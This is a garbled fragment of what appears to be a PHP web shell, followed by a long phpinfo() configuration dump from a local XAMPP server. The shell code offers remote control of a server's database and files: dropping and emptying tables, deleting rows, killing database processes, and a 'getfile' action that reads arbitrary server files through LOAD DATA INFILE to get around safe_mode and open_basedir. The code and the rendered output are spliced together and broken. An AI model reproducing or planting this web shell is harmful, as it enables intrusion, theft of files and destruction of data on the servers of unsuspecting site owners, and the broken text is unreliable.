<input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\">From:&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;To:&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\">
"; echo "
<TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; echo ""; echo "<input type=\"checkbox\" name=\"boxrow_all\" value=\"1\">"; for ($i=0;$i<mysql_num_fields($result);$i++) { $v = mysql_field_name($result,$i); if ($e[0] == "a") {$s = "d"; $m = "asc";} else {$s = "a"; $m = "desc";} echo ""; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\">".$v."</a>";} else {echo "".$v."<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} echo ""; } echo "<font color=\"green\">Action</font>"; echo ''; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo "<input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\">"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "<font color=\"green\">NULL</font>";} echo "".$v.""; $i++; } echo ""; echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">[Edit]</a>&nbsp;"; echo ""; echo ""; } mysql_free_result($result); echo "<hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; echo "<option value=\"\">With selected:</option>"; echo "<option value=\"deleterow\">Delete</option>"; echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\">
</p>"; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
<TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\">
Table
RowsTypeCreatedModifiedSizeAction"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo "<input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\">"; echo "&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\">".$row["Name"]."</a>&nbsp;"; echo "".$row["Rows"].""; echo "".$row["Type"].""; echo "".$row["Create_time"].""; echo "".$row["Update_time"].""; echo "".$size.""; echo "&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\">[Insert]</a>&nbsp;"; echo ""; $i++; } echo "<tr bgcolor=\"000000\">"; echo "
+
"; echo "
".$i." table(s)
"; echo "".$trows.""; echo "".$row[1].""; echo "".$row[10].""; echo "".$row[11].""; echo "".view_size($tsize).""; echo ""; echo ""; echo "<hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; echo "<option value=\"\">With selected:</option>"; echo "<option value=\"tbldrop\">Drop</option>"; echo "<option value=\"tblempty\">Empty</option>"; echo "<option value=\"tbldump\">Dump</option>"; echo "<option value=\"tblcheck\">Check table</option>"; echo "<option value=\"tbloptimize\">Optimize table</option>"; echo "<option value=\"tblrepair\">Repair table</option>"; echo "<option value=\"tblanalyze\">Analyze table</option>"; echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\">
</p>"; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {<table border="0" width="100%" height="1"><td width="30%" height="1">Create new Database:
&nbsp;
<td width="30%" height="1">View File:
&nbsp;
<td width="30%" height="1"><td width="30%" height="1"><td width="30%" height="1"><td width="30%" height="1"> } if (!empty($sql_act)) { echo "<hr size=\"1\" noshade>"; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
Reason:
".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "
Server-status variables:

"; echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1>NameValue"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]."".$row[1]."";} echo "
"; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "
Server variables:

"; echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1>NameValue"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]."".$row[1]."";} echo ""; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "
Processes:

"; echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1>IDUSERHOSTDBCOMMANDTIMESTATEINFOAction"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."<a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a>";} echo ""; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} $f = ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty!
";} else {echo "File \"".$sql_getfile."\":
".nl2br(htmlspecialchars($f))."
";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo ""; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
Affected rows: ".$affected."
"; } echo ""; }if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} echo '

'; } $act = $dspact = 'ls'; } if ($act == 'd'){ if (!is_dir($d)) {echo "
Permision denied!
";} else { echo "Directory information:<table border=0 cellspacing=1 cellpadding=2>"; if (!$win) { echo "Owner/Group "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "Perms<a href=\"".$surl."act=chmod&d=".urlencode($d)."\">".view_perms_color($d)."</a>Create time ".date("d/m/Y H:i:s",filectime($d))."Access time ".date("d/m/Y H:i:s",fileatime($d))."MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
"; } } if ($act == 'phpinfoframe') {@ob_clean(); phpinfo()
PHP logo

PHP Version 7.2.12

System Linux Beneri 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64
Build Date Nov 14 2018 22:25:43
Configure Command './configure' '--prefix=/opt/lampp' '--with-apxs2=/opt/lampp/bin/apxs' '--with-config-file-path=/opt/lampp/etc' '--with-mysql=mysqlnd' '--enable-inline-optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar' '--enable-ctype' '--enable-ftp' '--enable-gd-native-ttf' '--enable-magic-quotes' '--enable-shmop' '--disable-sigchild' '--enable-sysvsem' '--enable-sysvshm' '--enable-wddx' '--with-gdbm=/opt/lampp' '--with-jpeg-dir=/opt/lampp' '--with-png-dir=/opt/lampp' '--with-freetype-dir=/opt/lampp' '--with-zlib=yes' '--with-zlib-dir=/opt/lampp' '--with-openssl=/opt/lampp' '--with-xsl=/opt/lampp' '--with-ldap=/opt/lampp' '--with-gd' '--with-imap=/bitnami/xamppunixinstaller72stack-linux-x64/src/imap-2007e' '--with-imap-ssl' '--with-gettext=/opt/lampp' '--with-mssql=shared,/opt/lampp' '--with-pdo-dblib=shared,/opt/lampp' '--with-sybase-ct=/opt/lampp' '--with-mysql-sock=/opt/lampp/var/mysql/mysql.sock' '--with-mcrypt=/opt/lampp' '--with-mhash=/opt/lampp' '--enable-sockets' '--enable-mbstring=all' '--with-curl=/opt/lampp' '--enable-mbregex' '--enable-zend-multibyte' '--enable-exif' '--with-bz2=/opt/lampp' '--with-sqlite=shared,/opt/lampp' '--with-sqlite3=/opt/lampp' '--with-libxml-dir=/opt/lampp' '--enable-soap' '--with-xmlrpc' '--enable-pcntl' '--with-mysqli=mysqlnd' '--with-pgsql=shared,/opt/lampp/' '--with-iconv=/opt/lampp' '--with-pdo-mysql=mysqlnd' '--with-pdo-pgsql=/opt/lampp/postgresql' '--with-pdo_sqlite=/opt/lampp' '--with-icu-dir=/opt/lampp' '--enable-fileinfo' '--enable-phar' '--enable-zip' '--enable-intl' '--disable-huge-code-pages'
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /opt/lampp/etc
Loaded Configuration File /opt/lampp/etc/php.ini
Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)
PHP API 20170718
PHP Extension 20170718
Zend Extension 320170718
Zend Extension Build API320170718,NTS
PHP Extension Build API20170718,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support provided by mbstring
IPv6 Support enabled
DTrace Support disabled
Registered PHP Streamshttps, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filterszlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
Zend logo This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

Configuration

apache2handler

Apache Version Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
Apache API Version 20120211
Server Administrator you@example.com
Hostname:Port localhost:0
User/Group daemon(1)/1
Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server No
Server Root /opt/lampp
Loaded Modules core mod_so http_core prefork mod_authn_file mod_authn_dbm mod_authn_anon mod_authn_dbd mod_authn_socache mod_authn_core mod_authz_host mod_authz_groupfile mod_authz_user mod_authz_dbm mod_authz_owner mod_authz_dbd mod_authz_core mod_authnz_ldap mod_access_compat mod_auth_basic mod_auth_form mod_auth_digest mod_allowmethods mod_file_cache mod_cache mod_cache_disk mod_socache_shmcb mod_socache_dbm mod_socache_memcache mod_dbd mod_bucketeer mod_dumpio mod_echo mod_case_filter mod_case_filter_in mod_buffer mod_ratelimit mod_reqtimeout mod_ext_filter mod_request mod_include mod_filter mod_substitute mod_sed mod_charset_lite mod_deflate mod_mime util_ldap mod_log_config mod_log_debug mod_logio mod_env mod_mime_magic mod_cern_meta mod_expires mod_headers mod_usertrack mod_unique_id mod_setenvif mod_version mod_remoteip mod_proxy mod_proxy_connect mod_proxy_ftp mod_proxy_http mod_proxy_fcgi mod_proxy_scgi mod_proxy_ajp mod_proxy_balancer mod_proxy_express mod_session mod_session_cookie mod_session_dbd mod_slotmem_shm mod_ssl mod_lbmethod_byrequests mod_lbmethod_bytraffic mod_lbmethod_bybusyness mod_lbmethod_heartbeat mod_unixd mod_dav mod_status mod_autoindex mod_info mod_suexec mod_cgi mod_cgid mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_php7 mod_perl
DirectiveLocal ValueMaster Value
engine11
last_modified00
xbithack00

Apache Environment

VariableValue
UNIQUE_ID YDlOkssB3wvo4Pi5fDI0rwAAAAA
HTTP_HOST localhost
HTTP_USER_AGENT Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE en-US,en;q=0.5
HTTP_ACCEPT_ENCODING gzip, deflate
HTTP_CONNECTION keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS 1
HTTP_CACHE_CONTROL max-age=0
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SERVER_SIGNATURE no value
SERVER_SOFTWARE Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
SERVER_NAME localhost
SERVER_ADDR 127.0.0.1
SERVER_PORT 80
REMOTE_ADDR 127.0.0.1
DOCUMENT_ROOT /opt/lampp/htdocs
REQUEST_SCHEME http
CONTEXT_PREFIX no value
CONTEXT_DOCUMENT_ROOT /opt/lampp/htdocs
SERVER_ADMIN you@example.com
SCRIPT_FILENAME /opt/lampp/htdocs/test.php
REMOTE_PORT 35610
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING no value
REQUEST_URI /test.php
SCRIPT_NAME /test.php

HTTP Headers Information

HTTP Request Headers
HTTP Request GET /test.php HTTP/1.1
Host localhost
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate
Connection keep-alive
Upgrade-Insecure-Requests 1
Cache-Control max-age=0
HTTP Response Headers
X-Powered-By PHP/7.2.12

bcmath

BCMath support enabled
DirectiveLocal ValueMaster Value
bcmath.scale00

bz2

BZip2 Support Enabled
Stream Wrapper support compress.bzip2://
Stream Filter support bzip2.decompress, bzip2.compress
BZip2 Version 1.0.6, 6-Sept-2010

calendar

Calendar support enabled

Core

PHP Version 7.2.12
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionsno valueno value
display_errorsOnOn
display_startup_errorsOnOn
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_log/opt/lampp/logs/php_error_log/opt/lampp/logs/php_error_log
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOnOn
extension_dir/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/opt/lampp/lib/php.:/opt/lampp/lib/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOnOn
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time60006000
max_file_uploads2020
max_input_nesting_level6464
max_input_time60006000
max_input_vars10001000
memory_limit1000M1000M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size128M128M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path -t -i  -t -i 
serialize_precision100100
short_open_tagOnOn
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
track_errorsOnOn
unserialize_callback_funcno valueno value
upload_max_filesize128M128M
upload_tmp_dir/opt/lampp/temp//opt/lampp/temp/
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions11
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff

ctype

ctype functions enabled

curl

cURL support enabled
cURL Information 7.45.0
Age 3
Features
AsynchDNS No
CharConv No
Debug No
GSS-Negotiate No
IDN No
IPv6 Yes
krb4 No
Largefile Yes
libz Yes
NTLM Yes
NTLMWB Yes
SPNEGO No
SSL Yes
SSPI No
TLS-SRP Yes
HTTP2 No
GSSAPI No
KERBEROS5 No
UNIX_SOCKETS Yes
Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtsp, smb, smbs, smtp, smtps, telnet, tftp
Host x86_64-pc-linux-gnu
SSL Version OpenSSL/1.0.2p
ZLib Version 1.2.11

date

date/time support enabled
timelib version 2017.08
"Olson" Timezone Database Version 2018.6
Timezone Database internal
Default timezone Europe/Berlin
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneEurope/BerlinEurope/Berlin

dba

DBA support enabled
Supported handlers gdbm cdb cdb_make inifile flatfile
DirectiveLocal ValueMaster Value
dba.default_handlerflatfileflatfile

dom

DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.4
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled

exif

EXIF Support enabled
EXIF Version 7.2.12
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring enabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15

fileinfo

fileinfo support enabled
version 1.0.5
libmagic 531

filter

Input Validation and Filtering enabled
Revision $Id: 5a34caaa246b9df197f4b43af8ac66a07464fe4b $
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value

ftp

FTP support enabled
FTPS support enabled

gd

GD Support enabled
GD Version bundled (2.1.0 compatible)
FreeType Support enabled
FreeType Linkage with freetype
FreeType Version 2.4.8
GIF Read Support enabled
GIF Create Support enabled
JPEG Support enabled
libJPEG Version 8
PNG Support enabled
libPNG Version 1.5.26
WBMP Support enabled
XBM Support enabled
DirectiveLocal ValueMaster Value
gd.jpeg_ignore_warning11

gettext

GetText Support enabled

hash

hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
MHASH support Enabled
MHASH API Version Emulated Support

iconv

iconv support enabled
iconv implementation glibc
iconv library version 1.15
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value

imap

IMAP c-Client Version 2007e
SSL Support enabled

intl

Internationalization supportenabled
version 1.1.0
ICU version 4.8.1.1
ICU Data version 4.8.1
ICU TZData version 2011k
ICU Unicode version 6.0
DirectiveLocal ValueMaster Value
intl.default_localeno valueno value
intl.error_level00
intl.use_exceptions00

json

json support enabled
json version 1.6.0

ldap

LDAP Support enabled
RCS Version $Id: 3839f871a91c293a52322c63329c68db23a0290a $
Total Links 0/unlimited
API Version 3001
Vendor Name OpenLDAP
Vendor Version 20421
DirectiveLocal ValueMaster Value
ldap.max_linksUnlimitedUnlimited

libxml

libXML support active
libXML Compiled Version 2.9.4
libXML Loaded Version 20904
libXML streams enabled

mbstring

Multibyte Support enabled
Multibyte string engine libmbfl
HTTP input encoding translation disabled
libmbfl version 1.3.2
oniguruma version 6.3.0
mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) backtrack check On
Multibyte regex (oniguruma) version 6.3.0
DirectiveLocal ValueMaster Value
mbstring.detect_orderno valueno value
mbstring.encoding_translationOffOff
mbstring.func_overload00
mbstring.http_inputno valueno value
mbstring.http_outputno valueno value
mbstring.http_output_conv_mimetypes^(text/|application/xhtml\+xml)^(text/|application/xhtml\+xml)
mbstring.internal_encodingno valueno value
mbstring.languageneutralneutral
mbstring.strict_detectionOffOff
mbstring.substitute_characterno valueno value

mysqli

MysqlI Supportenabled
Client API library version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Active Persistent Links 0
Inactive Persistent Links 0
Active Links 0
DirectiveLocal ValueMaster Value
mysqli.allow_local_infileOnOn
mysqli.allow_persistentOnOn
mysqli.default_hostno valueno value
mysqli.default_port33063306
mysqli.default_pwno valueno value
mysqli.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock
mysqli.default_userno valueno value
mysqli.max_linksUnlimitedUnlimited
mysqli.max_persistentUnlimitedUnlimited
mysqli.reconnectOffOff
mysqli.rollback_on_cached_plinkOffOff

mysqlnd

mysqlndenabled
Version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Compression supported
core SSL supported
extended SSL supported
Command buffer size 4096
Read buffer size 32768
Read timeout 86400
Collecting statistics Yes
Collecting memory statistics Yes
Tracing n/a
Loaded plugins mysqlnd,debug_trace,auth_plugin_mysql_native_password,auth_plugin_mysql_clear_password,auth_plugin_sha256_password
API Extensions mysqli,pdo_mysql
mysqlnd statistics
bytes_sent 0
bytes_received 0
packets_sent 0
packets_received 0
protocol_overhead_in 0
protocol_overhead_out 0
bytes_received_ok_packet 0
bytes_received_eof_packet 0
bytes_received_rset_header_packet 0
bytes_received_rset_field_meta_packet 0
bytes_received_rset_row_packet 0
bytes_received_prepare_response_packet 0
bytes_received_change_user_packet 0
packets_sent_command 0
packets_received_ok 0
packets_received_eof 0
packets_received_rset_header 0
packets_received_rset_field_meta 0
packets_received_rset_row 0
packets_received_prepare_response 0
packets_received_change_user 0
result_set_queries 0
non_result_set_queries 0
no_index_used 0
bad_index_used 0
slow_queries 0
buffered_sets 0
unbuffered_sets 0
ps_buffered_sets 0
ps_unbuffered_sets 0
flushed_normal_sets 0
flushed_ps_sets 0
ps_prepared_never_executed 0
ps_prepared_once_executed 0
rows_fetched_from_server_normal 0
rows_fetched_from_server_ps 0
rows_buffered_from_client_normal 0
rows_buffered_from_client_ps 0
rows_fetched_from_client_normal_buffered 0
rows_fetched_from_client_normal_unbuffered 0
rows_fetched_from_client_ps_buffered 0
rows_fetched_from_client_ps_unbuffered 0
rows_fetched_from_client_ps_cursor 0
rows_affected_normal 0
rows_affected_ps 0
rows_skipped_normal 0
rows_skipped_ps 0
copy_on_write_saved 0
copy_on_write_performed 0
command_buffer_too_small 0
connect_success 0
connect_failure 0
connection_reused 0
reconnect 0
pconnect_success 0
active_connections 0
active_persistent_connections 0
explicit_close 0
implicit_close 0
disconnect_close 0
in_middle_of_command_close 0
explicit_free_result 0
implicit_free_result 0
explicit_stmt_close 0
implicit_stmt_close 0
mem_emalloc_count 0
mem_emalloc_amount 0
mem_ecalloc_count 0
mem_ecalloc_amount 0
mem_erealloc_count 0
mem_erealloc_amount 0
mem_efree_count 0
mem_efree_amount 0
mem_malloc_count 0
mem_malloc_amount 0
mem_calloc_count 0
mem_calloc_amount 0
mem_realloc_count 0
mem_realloc_amount 0
mem_free_count 0
mem_free_amount 0
mem_estrndup_count 0
mem_strndup_count 0
mem_estrdup_count 0
mem_strdup_count 0
mem_edupl_count 0
mem_dupl_count 0
proto_text_fetched_null 0
proto_text_fetched_bit 0
proto_text_fetched_tinyint 0
proto_text_fetched_short 0
proto_text_fetched_int24 0
proto_text_fetched_int 0
proto_text_fetched_bigint 0
proto_text_fetched_decimal 0
proto_text_fetched_float 0
proto_text_fetched_double 0
proto_text_fetched_date 0
proto_text_fetched_year 0
proto_text_fetched_time 0
proto_text_fetched_datetime 0
proto_text_fetched_timestamp 0
proto_text_fetched_string 0
proto_text_fetched_blob 0
proto_text_fetched_enum 0
proto_text_fetched_set 0
proto_text_fetched_geometry 0
proto_text_fetched_other 0
proto_binary_fetched_null 0
proto_binary_fetched_bit 0
proto_binary_fetched_tinyint 0
proto_binary_fetched_short 0
proto_binary_fetched_int24 0
proto_binary_fetched_int 0
proto_binary_fetched_bigint 0
proto_binary_fetched_decimal 0
proto_binary_fetched_float 0
proto_binary_fetched_double 0
proto_binary_fetched_date 0
proto_binary_fetched_year 0
proto_binary_fetched_time 0
proto_binary_fetched_datetime 0
proto_binary_fetched_timestamp 0
proto_binary_fetched_string 0
proto_binary_fetched_json 0
proto_binary_fetched_blob 0
proto_binary_fetched_enum 0
proto_binary_fetched_set 0
proto_binary_fetched_geometry 0
proto_binary_fetched_other 0
init_command_executed_count 0
init_command_failed_count 0
com_quit 0
com_init_db 0
com_query 0
com_field_list 0
com_create_db 0
com_drop_db 0
com_refresh 0
com_shutdown 0
com_statistics 0
com_process_info 0
com_connect 0
com_process_kill 0
com_debug 0
com_ping 0
com_time 0
com_delayed_insert 0
com_change_user 0
com_binlog_dump 0
com_table_dump 0
com_connect_out 0
com_register_slave 0
com_stmt_prepare 0
com_stmt_execute 0
com_stmt_send_long_data 0
com_stmt_close 0
com_stmt_reset 0
com_stmt_set_option 0
com_stmt_fetch 0
com_deamon 0
bytes_received_real_data_normal 0
bytes_received_real_data_ps 0

openssl

OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.0.2p 14 Aug 2018
OpenSSL Header Version OpenSSL 1.0.2p 14 Aug 2018
Openssl default config /opt/lampp/share/openssl/openssl.cnf
DirectiveLocal ValueMaster Value
openssl.cafile/opt/lampp/share/curl/curl-ca-bundle.crt/opt/lampp/share/curl/curl-ca-bundle.crt
openssl.capathno valueno value

pcre

PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 8.41 2017-07-05
PCRE JIT Support enabled
DirectiveLocal ValueMaster Value
